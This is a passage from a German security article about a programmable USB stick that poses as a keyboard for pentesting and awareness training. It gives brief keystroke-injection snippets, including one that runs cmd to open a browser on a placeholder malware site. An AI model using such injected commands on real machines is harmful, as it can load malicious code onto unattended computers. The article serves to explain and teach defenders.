USB-Dongle tarnt sich als Tastatur

Programmierbarer USB-Stick als Pentesting- und Hacking-Device

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Welche Funktionen sind möglich?

Es gibt verschiedenste Libraries mit umfrangreichen Funktionen. So kann die Funktion „CommandAtRunBarMSWIN(char *SomeCommand)“ einen übergebenen Befehl in Windows ausführen.

Folgendes Beispiel öffnet Notepad und gibt den Text „Hallo Security-Insider“ ein:

CommandAtRunBar(„notepad.exe“);delay(1000);Keyboard.print(„Hallo Security-Insider“);

Es ist auch möglich, dass der USB-Dongle den Mauszeiger zufällig bewegt, um so den Benutzer zu irritieren:

Mouse.move(random(-100,100),random(-100,100));Mouse.click();

Angesichts derartiger Manipulationen ist es wohl kaum verwunderlich, dass auch der Browser und damit eine Webseite mit Schadcode geöffnet werden kann:

CommandAtRunBar(“cmd /c start http://www.malwarewebseite.com“);

Dies sind nur wenige von vielen Möglichkeiten – und nun sollte besonders klar sein, welches mächtige Werkzeug ein solcher USB-Dongle sein kann.

Fazit

In Anbetracht der Tatsache, dass ein solches Device keine Wirkung bei gesperrten Systemen hat, da es die Login-Aufforderung nicht umgehen kann, ist die tatsächliche Einsatzmöglichkeit beschränkt. Im Rahmen von Securiy-Schulungen und Sensibilisierungs-Workshops kann ein solcher USB-Stick aber eine sehr hohe Wirkung erzielen.

Inhalt

  • Seite 1: USB-Risiken Autostart und Stuxnet
  • Seite 2: USB-Angriff der anderen Art
  • Seite 3: Welche Funktionen sind möglich?

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